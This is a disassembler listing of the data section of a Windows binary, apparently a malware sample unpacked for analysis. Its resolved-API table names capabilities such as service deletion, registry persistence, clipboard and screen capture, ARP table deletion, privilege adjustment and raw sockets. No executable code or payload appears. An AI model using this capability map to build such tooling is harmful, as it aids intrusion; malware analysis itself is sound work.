0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_438540 dd offset off_41FCAC ; DATA XREF: zugr1819:off_41FCD0o ; zugr1819:0041FDFCo ... align 8 a_?avexception@ db '.?AVexception@@',0 off_438558 dd offset off_41FCAC ; DATA XREF: zugr1819:off_41FCE8o ; zugr1819:0041FD7Co ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_438578 dd offset off_41FCAC ; DATA XREF: zugr1819:off_41FD00o ; zugr1819:0041FD44o ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_438598 dd offset off_41FCAC ; DATA XREF: zugr1819:off_41FD88o ; zugr1819:0041FDCCo ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h off_4385C0 dd offset off_41FCAC ; DATA XREF: zugr1819:off_41FE08o ; zugr1819:0041FE44o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_41BD4B align 10h byte_4385E0 db 0 ; DATA XREF: sub_401447+1D4w ; sub_401447+2D7o align 2 word_4385E2 dw 0 ; DATA XREF: sub_401447+1E4w word_4385E4 dw 0 ; DATA XREF: sub_401447+1EAw word_4385E6 dw 0 ; DATA XREF: sub_401447+1F3w byte_4385E8 db 0 ; DATA XREF: sub_401447+1FAw byte_4385E9 db 0 ; DATA XREF: sub_401447+201w word_4385EA dw 0 ; DATA XREF: sub_401447+208w dword_4385EC dd 0 ; sub_401447+256w dword_4385F0 dd 0 byte_4385F4 db 0 ; DATA XREF: sub_401447+270w byte_4385F5 db 0 ; DATA XREF: sub_401447+283w word_4385F6 dw 0 ; DATA XREF: sub_401447+29Bw word_4385F8 dw 0 ; DATA XREF: sub_401447+2ACw word_4385FA dw 0 ; DATA XREF: sub_401447+2A2w dword_4385FC dd 102h dup(0) dword_438A04 dd 2 dup(0) dword_438A0C dd 0 ; sub_40CC09+55AAo ... byte_438A10 db 0 ; DATA XREF: sub_402E8D+10o ; sub_403C2B+1CBo ... align 4 dword_438A14 dd 0 ; sub_4047DA+51r ... dword_438A18 dd 0 ; sub_4039C9+90r ... align 10h dword_438A20 dd 0 ; sub_406435+92w ... dword_438A24 dd 0 ; sub_406782+D9w ... dd 334Ah dup(0) dword_445750 dd 1AD4h dup(0) dword_44C2A0 dd 6 dup(0) ; sub_40656E+138o ... dword_44C2B8 dd 0 ; sub_406059+102o dword_44C2BC dd 41h dup(0) dword_44C3C0 dd 41h dup(0) dword_44C4C4 dd 0 ; sub_406059+114r dword_44C4C8 dd 0 dword_44C4CC dd 0 ; sub_406059+CFr dword_44C4D0 dd 20h dup(0) ; sub_406059+BAo dword_44C550 dd 0 dword_44C554 dd 0 ; sub_406059+C7w dword_44C558 dd 0 align 10h dword_44C560 dd 0 ; sub_406059+32Eo dword_44C564 dd 0A2h dup(0) dword_44C7EC dd 41h dup(0) dword_44C8F0 dd 0 ; sub_406059+2E1r align 8 dword_44C8F8 dd 0 ; sub_406059+340r dword_44C8FC dd 0 dword_44C900 dd 0 dword_44C904 dd 0 dd 0 dword_44C90C dd 0 dword_44C910 dd 0 ; sub_406059+221o dword_44C914 dd 41h dup(0) dword_44CA18 dd 41h dup(0) dword_44CB1C dd 0 ; sub_406059+233r dword_44CB20 dd 0 dword_44CB24 dd 0 dword_44CB28 dd 20h dup(0) ; sub_406059+1D9o dword_44CBA8 dd 0 dword_44CBAC dd 0 ; sub_406059+1E6w dword_44CBB0 dd 0 align 8 dword_44CBB8 dd 77F16E6Fh ; resolved to->GDI32.DeleteDC ; sub_4073B6+473r dword_44CBBC dd 7C864230h ; resolved to->KERNEL32.Module32First ; sub_4123B8+166r dword_44CBC0 dd 42C5AE03h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_4073B6+808r ... dword_44CBC4 dd 5B894364h ; sub_4073B6+9BEr ... dword_44CBC8 dd 5B86FEB8h ; sub_4073B6+98Er ... dword_44CBCC dd 77F15B80h ; resolved to->GDI32.SelectObject ; sub_4073B6+463r dword_44CBD0 dd 5B894160h ; sub_4073B6+9B6r ... dword_44CBD4 dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_4073B6+34Fr ... dword_44CBD8 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA ; sub_4093C1+11Er dword_44CBDC dd 77DF3238h ; resolved to->ADVAPI32.StartServiceA ; sub_4073B6+357r ... dword_44CBE0 dd 77DFCF32h ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_40B929+ADr dword_44CBE4 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet ; sub_4072B6+7Dr ... dword_44CBE8 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4073B6+D2r ... dword_44CBEC dd 5B86FDE8h ; sub_4073B6+981r ... dword_44CBF0 dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4073B6+36Fr ... dword_44CBF4 dd 42C41384h ; resolved to->WININET.InternetCrackUrlA ; sub_4073B6+834r dword_44CBF8 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_4073B6+27Cr dword_44CBFC dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_4073B6+82Cr ... dword_44CC00 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequencydword_44CC04 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_4073B6+83Cr ... dword_44CC08 dd 71AC0979h ; resolved to->WS2_32.WSAAsyncSelect ; sub_4073B6+4D5w ... dword_44CC0C dd 7C863F58h ; resolved to->KERNEL32.Process32Next ; sub_4073B6+CAr ... dword_44CC10 dd 76D64B79h ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_408B03+11Ar dword_44CC14 dd 76F3798Ah ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_4073B6+A13r ... dword_44CC18 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4073B6+F2r dword_44CC1C dd 77F1AC3Dh ; resolved to->GDI32.GetDIBColorTable ; sub_4073B6+45Br dword_44CC20 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_4073B6+57Ew ... dword_44CC24 dd 5B8A3009h ; sub_4073B6+9AEr dword_44CC28 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4073B6+571w ... dword_44CC2C dd 71B25099h dword_44CC30 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; sub_4073B6+7F5r ... dword_44CC34 dd 7E45A045h ; resolved to->USER32.ExitWindowsEx ; sub_4086DF+15r dword_44CC38 dd 5B868E65h ; sub_4073B6+996r ... dword_44CC3C dd 77DEB635h ; resolved to->ADVAPI32.ControlService ; sub_4073B6+35Fr ... dword_44CC40 dd 77E37311h ; resolved to->ADVAPI32.DeleteService ; sub_4073B6+367r ... dword_44CC44 dd 71AC0B50h ; resolved to->WS2_32.getpeernamedword_44CC48 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_4018CB:loc_401B71r ... dword_44CC4C dd 77F16C0Ah ; resolved to->GDI32.DeleteObjectdword_44CC50 dd 5B894541h ; sub_4073B6+9C6r ... dword_44CC54 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_4073B6+284r ... dword_44CC58 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_4073B6+DAr ... dword_44CC5C dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA ; sub_4073B6+B1Br ... dword_44CC60 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_4018CB+2Fr ... dword_44CC64 dd 42C2CD78h ; resolved to->WININET.HttpSendRequestA ; sub_4073B6+818r dword_44CC68 dd 5B897BE9h ; sub_4073B6+99Er dword_44CC6C dd 74344AE7h ; sub_4073B6+BB6r dword_44CC70 dd 76D64D5Eh ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_4073B6+8B6r ... dword_44CC74 dd 74327E4Dh dword_44CC78 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; sub_401447+3Dr ... dword_44CC7C dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_4073B6+7FBr dword_44CC80 dd 7E41B933h ; resolved to->USER32.IsWindow ; sub_4073B6+1C2r dword_44CC84 dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_4073B6+72Cr ... dword_44CC88 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_405900+62r ... dword_44CC8C dd 71AB4489h ; resolved to->WS2_32.WSAIoctl ; sub_4073B6+4EFw ... dword_44CC90 dd 0CC0004h ; sub_4073B6:loc_407C37w ... dword_44CC94 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4073B6+26Cr ... dword_44CC98 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_4073B6+627w ... dword_44CC9C dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_4073B6+2C9r ... dword_44CCA0 dd 77DEAF3Fh ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_4073B6+377r ... dword_44CCA4 dd 743452A3h ; sub_4073B6+BAEr dword_44CCA8 dd 42C24399h ; resolved to->WININET.HttpOpenRequestA ; sub_4073B6+810r dword_44CCAC dd 7E430237h ; resolved to->USER32.OpenClipboard ; sub_4073B6+1D2r ... dword_44CCB0 dd 42C249F2h ; resolved to->WININET.InternetConnectA ; sub_4073B6+820r dword_44CCB4 dd 71AB2D0Fh ; resolved to->WS2_32.recvfrom ; sub_4073B6+5ACw ... dword_44CCB8 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_409A42+5Ar dword_44CCBC dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_401447+ABr ... dword_44CCC0 dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessToken ; sub_4073B6+2BCr ... dword_44CCC4 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_405A21+1FCr ... dword_44CCC8 dd 77F1B221h ; resolved to->GDI32.CreateDCA ; sub_4073B6+436r dword_44CCCC dd 7E430D7Ah ; resolved to->USER32.GetClipboardData ; sub_4073B6+1DAr ... dword_44CCD0 dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_4073B6+342r ... dword_44CCD4 dd 76F37ABDh ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_44CCD8 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_4010B2+1F9r ... dword_44CCDC dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4010B2+9Dr ... dword_44CCE0 dd 7C863DE5h ; resolved to->KERNEL32.Process32First ; sub_4073B6+C2r ... dword_44CCE4 dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCaps ; sub_4073B6+453r dword_44CCE8 dd 7E42DE87h ; resolved to->USER32.FindWindowA ; sub_4073B6+1BAr ... dword_44CCEC dd 5B8A5199h ; sub_40C212+72r dword_44CCF0 dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_4073B6+734r dword_44CCF4 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_402AAF+75r ... dword_44CCF8 dd 74343318h ; sub_4073B6+BBEr dword_44CCFC dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_4073B6+BAr ... dword_44CD00 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_4073B6+274r ... dword_44CD04 dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_4069E1+9Cr ... dword_44CD08 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_4048F1+89r ... dword_44CD0C dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; sub_40A3AD+52Ar dword_44CD10 dd 0 dword_44CD14 dd 743527D4h ; sub_4073B6+B99r dword_44CD18 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_401447+1A1r ... dword_44CD1C dd 77F19219h ; resolved to->GDI32.CreateDIBSection ; sub_4073B6+443r dword_44CD20 dd 77F16F89h ; resolved to->GDI32.BitBlt ; sub_4073B6+46Br dword_44CD24 dd 77F15FF0h ; resolved to->GDI32.CreateCompatibleDC ; sub_4073B6+44Br dword_44CD28 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_402B2E+35r ... dword_44CD2C dd 7E430225h ; resolved to->USER32.CloseClipboard ; sub_4073B6+1E2r ... dword_44CD30 dd 5B86AA41h ; sub_4073B6+9CEr ... dword_44CD34 dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_4073B6+1ADr ... dword_44CD38 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeA ; sub_4073B6+E2r ... dword_44CD3C dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_401447+2DFr ... dword_44CD40 dd 71B2547Ah ; sub_403C2B+4CCr ... dword_44CD44 dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_41234D+55r dword_44CD48 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_4073B6+25Fr dword_44CD4C dd 7CA235CBh ; resolved to->SHELL32.SHChangeNotifydword_44CD50 dd 76D6A195h ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40897F+CEr dword_44CD54 dd 76D69962h ; resolved to->IPHLPAPI.GetIpNetTable ; sub_4073B6+A5Dr ... dword_44CD58 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_401BD7+55r ... dword_44CD5C dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_4073B6+61Aw ... dword_44CD60 dd 7432FF6Bh ; sub_4073B6+BA6r dword_44CD64 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_405A21+250r ... dword_44CD68 dd 5B867750h ; sub_4073B6+9A6r ... dword_44CD6C dd 71AC1028h ; resolved to->WS2_32.accept ; sub_4069E1+B3r ... dword_44CD70 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_401447+2F5r ... dword_44CD74 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_4048F1+39Fr ... dword_44CD78 dd 71B2578Ch ; sub_4073B6+ACEr dword_44CD7C dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; sub_4018CB+4Fr ... dword_44CD80 dd 71B2517Fh ; sub_4073B6+AA0w ... dword_44CD84 dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorMode ; sub_4073B6+ADr ... dword_44CD88 dd 7E41DAEAh ; resolved to->USER32.DestroyWindow ; sub_4073B6+1CAr align 10h dword_44CD90 dd 76D64D33h ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_4073B6+8C3r ... dword_44CD94 dd 7C8217EAh ; resolved to->KERNEL32.SearchPathA ; sub_4073B6+EAr ... dword_44CD98 dd 0 ; sub_4073B6+12Bw ... dword_44CD9C dd 0 ; sub_407F9F+1Cr dword_44CDA0 dd 0 ; sub_407F9F:loc_407FE7r dword_44CDA4 dd 0 ; sub_407F9F+50r dword_44CDA8 dd 0 ; sub_4073B6:loc_40768Bw ... dword_44CDAC dd 0 ; sub_407F9F+84r dword_44CDB0 dd 0 ; sub_407F9F:loc_40804Fr dword_44CDB4 dd 0 ; sub_407F9F+B8r dword_44CDB8 dd 0 ; sub_407F9F:loc_408083r dword_44CDBC dd 0 ; sub_407F9F+ECr dword_44CDC0 dd 0 ; sub_4073B6+877w ... dword_44CDC4 dd 0 ; sub_407F9F+120r dword_44CDC8 dd 0 ; sub_407F9F:loc_4080EBr ... dword_44CDCC dd 0 ; sub_407F9F+154r dword_44CDD0 dd 0 ; sub_407F9F:loc_40811Fr ... dword_44CDD4 dd 0 ; sub_407F9F+188r dword_44CDD8 dd 0 ; sub_407F9F:loc_408153r dword_44CDDC dd 0 ; sub_407F9F+1BCr dword_44CDE0 dd 0 ; sub_407F9F:loc_408187r dword_44CDE4 dd 0 ; sub_407F9F+1F0r dword_44CDE8 dd 0 ; sub_407F9F:loc_4081BBr dword_44CDEC dd 0 ; sub_407F9F+224r dword_44CDF0 dd 0 ; sub_407F9F:loc_4081EFr dword_44CDF4 dd 0 ; sub_407F9F+258r dword_44CDF8 dd 0 ; sub_407F9F:loc_408223r dword_44CDFC dd 0 ; sub_407F9F+28Cr dd 2 dup(0) dword_44CE08 dd 41h dup(0) dword_44CF0C dd 5 dup(0) dword_44CF20 dd 0 ; sub_408F94+54r ... dword_44CF24 dd 0 ; sub_408F94+37r ... dword_44CF28 dd 0 ; sub_4090ED+83o dword_44CF2C dd 0 ; sub_4090ED+11Bw dword_44CF30 dd 0Dh dup(0) ; sub_4090ED:loc_40922Ao dword_44CF64 dd 0 ; sub_408F94+F0r ... dd 0 dword_44CF6C dd 0Eh dup(0) dword_44CFA4 dd 1000h dup(0) ; sub_4098D3o ... dword_450FA4 dd 0 ; sub_4098D3+Eo ... dword_450FA8 dd 0Eh dup(0) dword_450FE0 dd 2 dup(0) dword_450FE8 dd 17h dup(0) ; sub_40B479+131o ... dword_451044 dd 40h dup(0) ; sub_40C212+A5o dword_451144 dd 0 ; sub_40B7F3+4Dr ... dword_451148 dd 17h dup(0) ; sub_40C0DE+12Do dword_4511A4 dd 3Fh dup(0) ; sub_40B734+7Do ... db 3 dup(0) byte_4512A3 db 0 ; DATA XREF: sub_40B7F3+29r ; sub_40B7F3+34w dword_4512A4 dd 40h dup(0) ; sub_40BA4A+88o ... dword_4513A4 dd 41h dup(0) ; sub_40B350+50o ... dword_4514A8 dd 0 ; sub_40973B+44r ... dd 5 dup(0) dword_4514C0 dd 0 ; sub_40CC09+BC5r dd 2D9h dup(0) dword_452028 dd 0 ; sub_40973B+2Do ... dd 3Fh dup(0) dword_452128 dd 0 ; sub_4133F9+40w ... dword_45212C dd 0 ; sub_40656E:loc_4065B5r ... dword_452130 dd 0 ; sub_4132BE+52w ... dword_452134 dd 0 ; sub_4048F1+7Ew ... dword_452138 dd 0 ; sub_406D50+53r ... dword_45213C dd 0 ; sub_406059+122w ... byte_452140 db 0 ; DATA XREF: sub_40C929+91o ; sub_40CC09+2EF0r ... align 4 dd 0F7C4h dup(0) dword_490054 dd 11FBh dup(0) ; .data:00423201o db 3 dup(0) byte_494843 db 0 ; DATA XREF: .data:off_42CE10o dd 0FE43h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .data:off_42923Co dword_4D4154 dd 2FBEh dup(0) db 3 dup(0) byte_4E004F db 0 ; DATA XREF: .data:00422415o ; .data:00423205o dd 103Fh dup(0) dword_4E414C dd 84BEh dup(0) db 2 dup(0) word_505446 dw 0 ; DATA XREF: .data:off_421CB0o dd 6B01h dup(0) db 3 dup(0) byte_52004F db 0 ; DATA XREF: .data:00422405o ; .data:004231F5o dd 13BEh dup(0) db 3 dup(0) byte_524F4B db 0 ; DATA XREF: .data:off_42CE04o dd 2C3Fh dup(0) db 3 dup(0) byte_53004B db 0 ; DATA XREF: .data:00422409o ; .data:004231F9o dd 5101h dup(0) dword_544450 dd 2BCh dup(0) db 2 dup(0) word_544F42 dw 0 ; DATA XREF: .data:off_421CB8o dd 103h dup(0) dword_545350 dd 0DFA9h dup(0) db 2 dup(0) word_57D1F6 dw 0 ; DATA XREF: .data:004231F1o dd 1CD6h dup(0) db 3 dup(0) byte_584553 db 0 ; DATA XREF: .data:off_42CEC8o dd 0FD3Bh dup(0) db 0 byte_5C3A41 db 2 dup(0) ; DATA XREF: .data:off_4292ECo byte_5C3A43 db 0 ; DATA XREF: .data:off_4372D0o dword_5C3A44 dd 44C5h dup(0) db 3 dup(0) byte_5D4D5B db 0 ; DATA XREF: .data:off_437220o dd 10501h dup(0) db 0 byte_616161 db 3 dup(0) ; DATA XREF: .data:off_430F70o dd 0BFh dup(0) db 0 byte_616461 db 3 dup(0) ; DATA XREF: .data:off_42D8D4o dd 1FFh dup(0) db 2 dup(0) word_616C62 dw 0 ; DATA XREF: .data:off_431200o dd 3Fh dup(0) db 0 byte_616D61 db 3 dup(0) ; DATA XREF: .data:off_42D8C0o dd 184h dup(0) db 0 byte_617375 db 3 dup(0) ; DATA XREF: .data:off_43350Co dd 2DFAh dup(0) db 0 byte_622B61 db 3 dup(0) ; DATA XREF: .data:off_428F40o dd 0DBFh dup(0) db 2 dup(0) word_626262 dw 0 ; DATA XREF: .data:off_42CD80o dd 0C0h dup(0) dword_626564 dd 242h dup(0) db 0 byte_626E6D db 3 dup(0) ; DATA XREF: .data:off_42C994o dd 3Ch dup(0) db 2 dup(0) word_626F62 dw 0 ; DATA XREF: .data:off_42D860o dd 183h dup(0) byte_627570 db 3 dup(0) ; DATA XREF: .data:off_42D698o byte_627573 db 0 ; DATA XREF: .data:off_4319A8o dd 2DFh dup(0) db 0 byte_6280F1 db 3 dup(0) ; DATA XREF: sub_74F69D+F44o dd 385Bh dup(0) db 0 byte_636261 db 3 dup(0) ; DATA XREF: .data:off_430F6Co dd 2Fh dup(0) db 3 dup(0) byte_636323 db 0 ; DATA XREF: .data:off_42A3DCo dd 0Fh dup(0) db 3 dup(0) byte_636363 db 0 ; DATA XREF: .data:off_42CD3Co dd 40h dup(0) db 0 byte_636465 db 3 dup(0) ; DATA XREF: .data:off_42CD90o dd 504h dup(0) db 2 dup(0) word_63787A dw 0 ; DATA XREF: .data:off_42CDE8o dd 2B2Ah dup(0) dword_642524 dd 0F0Fh dup(0) db 3 dup(0) byte_646163 db 0 ; DATA XREF: .data:off_42D858o align 10h dword_646170 dd 0ACh dup(0) db 3 dup(0) byte_646423 db 0 ; DATA XREF: .data:off_42A368o ; .data:off_42A384o dd 7 dup(0) db 0 byte_646441 db 3 dup(0) ; DATA XREF: .data:off_4295B4o dd 8 dup(0) dword_646464 dd 2C0h dup(0) db 3 dup(0) byte_646F67 db 0 ; DATA XREF: .data:off_430FD8o dd 0FEh dup(0) db 0 byte_647361 db 0 ; DATA XREF: .data:off_42D88Co word_647362 dw 0 ; DATA XREF: .data:off_42D85Co dd 103h dup(0) dword_647770 dd 3B7Dh dup(0) db 0 byte_656565 db 3 dup(0) ; DATA XREF: .data:off_42CCC0o dd 0 dword_65656C dd 141h dup(0) db 2 dup(0) word_656A72 dw 0 ; DATA XREF: .data:off_42D684o dd 0ACh dup(0) dword_656D24 dd 293h dup(0) db 0 byte_657771 db 3 dup(0) ; DATA XREF: .data:off_42CE64o dd 3BBCh dup(0) db 2 dup(0) word_666666 dw 0 ; DATA XREF: .data:off_42CCDCo dd 0 db 3 dup(0) byte_66666F db 0 ; DATA XREF: .data:off_433A48o dd 17Ch dup(0) db 0 byte_666C61 db 3 dup(0) ; DATA XREF: .data:off_42D8C4o dd 3EC0h dup(0) db 3 dup(0) byte_676767 db 0 ; DATA XREF: .data:off_42CC9Co dd 1FFh dup(0) dword_676F64 dd 2 dup(0) dword_676F6C dd 2425h dup(0) dword_680000 dd 1A1Ah dup(0) dword_686868 dd 3FFEh dup(0) db 3 dup(0) byte_696863 db 0 ; DATA XREF: .data:off_42CE0Co dd 41h dup(0) db 0 byte_696969 db 3 dup(0) ; DATA XREF: .data:off_42CC54o dd 25BFh dup(0) db 2 dup(0) word_6A006A dw 0 ; DATA XREF: .text:00413006o dd 3Fh dup(0) db 2 dup(0) word_6A016A dw 0 ; DATA XREF: .text:off_413002o dd 1A3Fh dup(0) db 2 dup(0) word_6A6A6A dw 0 ; DATA XREF: .data:off_42CC30o dd 3E3Dh dup(0) db 0 byte_6B6361 db 3 dup(0) ; DATA XREF: .data:off_421378o dd 201h dup(0) db 3 dup(0) byte_6B6B6B db 0 ; DATA XREF: .data:off_42CC0Co dd 2542h dup(0) db 0 byte_6C0075 db 3 dup(0) ; DATA XREF: zugr1819:0041F6DCo dd 830h dup(0) db 2 dup(0) word_6C213A dw 0 ; DATA XREF: .data:00421A50o dd 0BFh dup(0) db 2 dup(0) word_6C243A dw 0 ; DATA XREF: .data:00421A68o dd 3Fh dup(0) db 2 dup(0) word_6C253A dw 0 ; DATA XREF: .data:00421A80o dd 23Fh dup(0) db 2 dup(0) word_6C2E3A dw 0 ; DATA XREF: .data:00421A38o dd 0CCBh dup(0) dword_6C6168 dd 2 dup(0) db 3 dup(0) byte_6C6173 db 0 ; DATA XREF: .data:off_42D674o dd 2BBh dup(0) db 0 byte_6C6C61 db 3 dup(0) ; DATA XREF: .data:off_4321D4o dd 2 dup(0) dword_6C6C6C dd 0C0h dup(0) dword_6C6F6C dd 3C81h dup(0) dword_6D6170 dd 3Eh dup(0) db 0 byte_6D6269 db 3 dup(0) ; DATA XREF: .data:off_42D760o dd 1BFh dup(0) db 3 dup(0) byte_6D696B db 0 ; DATA XREF: .data:off_42D738o dd 100h dup(0) db 0 byte_6D6D6D db 3 dup(0) ; DATA XREF: .data:off_42CBC4o dd 17Ch dup(0) db 0 byte_6D7361 db 3 dup(0) ; DATA XREF: .data:off_42D888o dd 2331h dup(0) dword_6E0028 dd 1853h dup(0) dword_6E6174 dd 0FDh dup(0) db 2 dup(0) word_6E656A dw 0 ; DATA XREF: .data:off_42D744o dd 101h dup(0) db 3 dup(0) byte_6E6973 db 0 ; DATA XREF: zugr1819:0041F74Co db 3 dup(0) byte_6E6977 db 0 ; DATA XREF: .data:off_430F60o dd 13Ah dup(0) db 0 byte_6E6E61 db 3 dup(0) ; DATA XREF: .data:off_42D8A0o dd 2 dup(0) db 2 dup(0) word_6E6E6E dw 0 ; DATA XREF: .data:off_42CBA0o dd 1BDh dup(0) db 2 dup(0) word_6E7566 dw 0 ; DATA XREF: .data:off_42D778o dd 2 dup(0) db 3 dup(0) byte_6E7573 db 0 ; DATA XREF: .data:off_42D634o dd 0FAh dup(0) db 3 dup(0) byte_6E795F db 0 ; DATA XREF: zugr1819:0041F6F0o dd 4 dup(0) db 3 dup(0) byte_6E7973 db 0 ; DATA XREF: .data:off_42137Co dd 3D7Eh dup(0) db 3 dup(0) byte_6F6F6F db 0 ; DATA XREF: .data:off_42CB7Co dd 3C82h dup(0) db 2 dup(0) word_70617A dw 0 ; DATA XREF: .data:off_42D59Co dd 3BDh dup(0) dword_707070 dd 1FDh dup(0) db 0 byte_707865 db 3 dup(0) ; DATA XREF: zugr1819:off_41F7A0o dd 3E42h dup(0) db 0 byte_717171 db 3 dup(0) ; DATA XREF: .data:off_42CA5Co dd 3D7Eh dup(0) db 0 byte_72676D db 3 dup(0) ; DATA XREF: .data:off_42D714o dd 1FEh dup(0) db 3 dup(0) byte_726F6B db 0 ; DATA XREF: .data:off_42CE08o dd 2D7Ch dup(0) dword_73255C dd 0FFFh dup(0) db 0 byte_736559 db 3 dup(0) ; DATA XREF: .data:off_429C54o dd 281h dup(0) db 3 dup(0) byte_736F63 db 0 ; DATA XREF: zugr1819:0041F748o dword_736F64 dd 103h dup(0) db 3 dup(0) byte_737373 db 0 ; DATA XREF: .data:off_42CB10o dd 17Fh dup(0) db 3 dup(0) byte_737973 db 0 ; DATA XREF: .data:off_42D60Co dd 297Dh dup(0) dword_741F68 dd 4C33h ; sub_40C2D0+4Aw ... align 10h dword_741F70 dd 0 dword_741F74 dd 20h dup(0) ; sub_40C2D0+5BCo ... dword_741FF4 dd 10h dup(0) ; sub_40CC09+91Do dword_742034 dd 0Dh dup(0) dword_742068 dd 0 ; sub_413525+19o dword_74206C dd 16h dup(0) dword_7420C4 dd 0 ; sub_40C2D0+5D3w ... dword_7420C8 dd 0 dd 3 dup(0) dword_7420D8 dd 0 dword_7420DC dd 0 ; sub_40CC09+276r dd 2 dup(0) db 2 dup(0) byte_7420EA db 0 ; DATA XREF: sub_40CC09:loc_411271r ; sub_40CC09+4672o align 4 byte_7420EC db 0 ; DATA XREF: sub_40CA91+28r ; sub_40CA91+30o align 10h dword_7420F0 dd 0 ; sub_40C2D0+587r ... dword_7420F4 dd 0 ; sub_40CC09+8C1r dword_7420F8 dd 41h dup(0) byte_7421FC db 0 ; DATA XREF: sub_4131B7+6Ar ; sub_4131B7+98w align 10h dd 2 dup(0) dword_742208 dd 0 align 10h dword_742210 dd 0 ; sub_414D55+A4w align 8 word_742218 dw 0 ; DATA XREF: sub_414D55+55r ; sub_414D55+9Ao word_74221A dw 0 ; DATA XREF: sub_414D55+48r db 2 dup(0) word_74221E dw 0 ; DATA XREF: sub_414D55+3Br word_742220 dw 0 ; DATA XREF: sub_414D55+2Er word_742222 dw 0 ; DATA XREF: sub_414D55+21r align 8 dword_742228 dd 0 ; sub_4150A0+91w dword_74222C dd 0 ; sub_414B02+1B9w ... dword_742230 dd 0 ; sub_419730:loc_4197CAw ... dword_742234 dd 0 dword_742238 dd 0A28h dword_74223C dd 501h dword_742240 dd 5 dword_742244 dd 1 dword_742248 dd 1 ; sub_41ABF0+91w dword_74224C dd 0BE0ED0h ; sub_40C2D0+32Br ... dd 0 dword_742254 dd 0BE0D70h ; sub_41D5E6+9r ... dword_742258 dd 0 dword_74225C dd 0 ; sub_41DA84+4r ... dd 0 off_742264 dd offset aCM_unpackerPac ; DATA XREF: sub_41ABF0+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_74226C db 0 ; DATA XREF: sub_415CAB+2Dw ; 